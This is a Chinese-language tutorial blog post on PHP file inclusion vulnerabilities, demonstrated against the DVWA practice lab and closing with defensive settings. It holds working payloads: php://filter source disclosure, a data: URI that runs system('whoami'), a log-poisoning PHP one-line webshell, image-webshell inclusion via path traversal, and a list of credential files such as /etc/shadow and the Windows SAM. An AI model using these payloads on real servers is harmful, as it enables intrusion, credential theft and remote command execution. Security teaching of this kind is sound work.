基礎知識
文件包含指的是一個文件動態引用另一個文件,這是一種非常靈活的動態調用方式。有點類似Java引用jar包,但區別在於jar包引用后一般是固定不變的(一般不能動態改變所引用的jar包名稱),而文件包含可以將引用的文件名作為參數傳遞。php的文件包含舉例:
利用原理
引用文件名作為傳入參數暴露出來時,用戶可傳入任意文件名/惡意代碼,且程序本身沒有進行嚴格校驗/過濾時,便會形成文件包含漏洞。其危害在於:
1. 泄露服務器敏感數據
2. 惡意代碼注入(可能導致被getshell)
利用方式
用DVWA的文件包含(PHP+Aapche)舉例,首先在php.ini中配置allow_url_fopen = On,allow_url_include = On。
此處通過參數page包含文件
1. 獲取源碼
輸入:http://localhost/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=index.php
得到base64編碼后的源碼:
解碼后得到index源碼:
2. 讀取服務器敏感文件
常用的系統敏感文件如下:
Windows系統
- c:\boot.ini // 查看系統版本
- c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
- c:\windows\repair\sam // 存儲Windows系統初次安裝的密碼
- c:\ProgramFiles\mysql\my.ini // MySQL配置
- c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密碼
- c:\windows\php.ini // php 配置信息
Linux/Unix系統
- /etc/passwd // 賬戶信息
- /etc/shadow // 賬戶密碼文件
- /usr/local/app/apache2/conf/httpd.conf // Apache2默認配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虛擬網站配置
- /usr/local/app/php5/lib/php.ini // PHP相關配置
- /etc/httpd/conf/httpd.conf // Apache配置文件
- /etc/my.conf // mysql 配置文件
輸入:
http://localhost/dvwa/vulnerabilities/fi/?page=C:/Windows/system.ini
3. 執行操作系統命令
輸入: http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php system('whoami');?>
4. 利用日志注入惡意代碼
首先通過訪問phpinfo找到錯誤日志的存放路徑:
輸入:http://localhost/dvwa/vulnerabilities/fi/?page=data:text/plain,<?php phpinfo();?>
用錯誤日志注入的思路是:
-》輸入帶有注入代碼且能引發錯誤的語句
-》錯誤日志記錄本次的輸入(惡意代碼注入錯誤日志)
-》通過文件包含漏洞訪問錯誤日志,惡意代碼被執行
輸入php一句話木馬:http://localhost/dvwa/vulnerabilities/fi/?page=<?php @eval($_POST['cmd']);?>
但是打開錯誤日志發現尖括號被轉義了(抓包改也沒用,依然被轉義)。。。被轉義之后注入代碼無法執行,利用錯誤日志注入的路行不通了...>_<...
換訪問日志再試一次(思路是一樣的),訪問日志尖括號會被編碼,抓包改一下之后發現成功寫入,一句話木馬上傳成功。
5. 結合文件上傳漏洞
之前寫圖片上傳的時候曾傳過一個圖片馬(y.png)到服務器(https://www.cnblogs.com/sallyzhang/p/11906217.html),如果存在文件包含漏洞,可直接訪問該圖片馬並執行圖片馬中的代碼。
輸入:http://localhost/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/y.png
防御方法
1. 使用PHP時配置php.ini:allow_url_fopen = off,allow_url_include = off
2. 對動態包含的文件可以設置白名單,不讀取非白名單的文件
3. 盡量不使用動態包含(或者寫死)
如需轉載,請注明出處,這是對他人勞動成果的尊重~